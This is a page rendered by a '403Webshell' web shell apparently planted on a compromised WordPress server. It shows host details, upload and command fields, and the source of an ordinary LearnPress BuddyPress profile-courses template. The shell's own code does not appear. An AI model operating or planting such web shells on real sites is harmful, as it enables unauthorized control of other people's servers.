403Webshell
Server IP : 172.67.147.195  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/learnpress-buddypress/templates/profile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/learnpress-buddypress/templates/profile/courses.php
<?php
/**
 * Template for displaying BuddyPress profile courses page.
 *
 * This template can be overridden by copying it to yourtheme/learnpress/addons/buddypress/profile/courses.php.
 *
 * @author   ThimPress
 * @package  LearnPress/BuddyPress/Templates
 * @version  3.0.0
 */

/**
 * Prevent loading this file directly
 */
defined( 'ABSPATH' ) || exit();

if ( ! isset( $user ) ) {
	return;
}

$limit = apply_filters(
	'lp/buddypress/profile/courses/limit',
	LP_Settings::get_option( 'archive_course_limit', 8 )
);

$profile = learn_press_get_profile();
$query   = $_REQUEST['filter'] ?? 'own';
$filters = array(
	'own'       => __( 'Own', 'learnpress-buddypress' ),
	'purchased' => __( 'Purchased', 'learnpress-buddypress' ),
);
?>

<ul class="leanpress-buddpress-list-filters">
	<?php foreach ( $filters as $key => $filter ) { ?>
		<li>
			<a href="<?php echo add_query_arg( array( 'filter' => $key ) ); ?>"
				class="<?php echo ( $query == $key ) ? 'active' : ''; ?>"><?php echo $filter; ?></a>
		</li>
	<?php } ?>
</ul>

<?php
$paged = 1;

if ( isset( $_REQUEST['paged'] ) ) {
	$paged = LP_Helper::sanitize_params_submitted( $_REQUEST['paged'] );
}

$courses = $profile->query_courses(
	$query,
	array(
		'status' => '',
		'paged'  => $paged,
	)
);

?>

<?php
if ( $query == 'own' ) {
	if ( ! $courses->get_total() ) {
		learn_press_display_message( __( 'You haven\'t got any courses yet!', 'learnpress-buddypress' ) );
	} else {
		$num_pages = learn_press_get_num_pages( $courses->get_total(), $limit );
		?>
		<ul class="learn-press-courses profile-courses-list">
			<?php
			global $post;
			foreach ( $courses->get_items() as $item ) {
				$course = learn_press_get_course( $item );
				$post   = get_post( $item );
				setup_postdata( $post );
				learn_press_get_template( 'content-course.php' );
			}
			wp_reset_postdata();
			?>
		</ul>

		<?php learn_press_buddypress_paging_nav( array( 'num_pages' => $num_pages ) ); ?>
		<?php
	}
} elseif ( $query == 'purchased' ) {
	if ( $courses->get_items() ) {
		?>
		<table class="lp-list-table profile-list-courses profile-list-table">
			<thead>
			<tr>
				<th class="column-course"><?php _e( 'Course', 'learnpress' ); ?></th>
				<th class="column-date"><?php _e( 'Date', 'learnpress' ); ?></th>
				<th class="column-passing-grade"><?php _e( 'Passing Grade', 'learnpress' ); ?></th>
				<th class="column-status"><?php _e( 'Progress', 'learnpress' ); ?></th>
			</tr>
			</thead>
			<tbody>
			<?php foreach ( $courses->get_items() as $course_id ) { ?>
				<?php
				/**
				 * @var $user_course LP_User_Item_Course
				 */
				$course = learn_press_get_course( $course_id );
				if ( ! $course ) {
					continue;
				}

				$user_course = $user->get_course_data( $course_id );
				if ( ! $user_course ) {
					continue;
				}

				$status = $user_course->get_status();
				?>
				<tr>
					<td class="column-course">
						<a href="<?php echo $course->get_permalink(); ?>">
							<?php echo $course->get_title(); ?>
						</a>
					</td>
					<td class="column-date"><?php echo $user_course->get_start_time( 'd M Y' ); ?></td>
					<td class="column-passing-grade"><?php echo $course->get_passing_condition( true ); ?></td>
					<td class="column-status">
						<?php if ( $status !== 'purchased' ) { ?>
							<span class="result-percent"><?php echo $user_course->get_percent_result(); ?></span>
						<?php } ?>

						<span
							class="lp-label label-<?php echo esc_attr( $status ); ?>">
							<?php echo $user_course->get_status_label( $status ); ?>
						</span>
					</td>
				</tr>
			<?php } ?>
			</tbody>
			<tfoot>
			<tr class="list-table-nav">
				<td colspan="2" class="nav-text">
					<?php echo $courses->get_offset_text(); ?>
				</td>
				<td colspan="2" class="nav-pages">
					<?php $courses->get_nav_numbers( true ); ?>
				</td>
			</tr>
			</tfoot>
		</table>
		<?php
	} else {
		learn_press_display_message( __( 'No courses!', 'learnpress-buddypress' ) );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit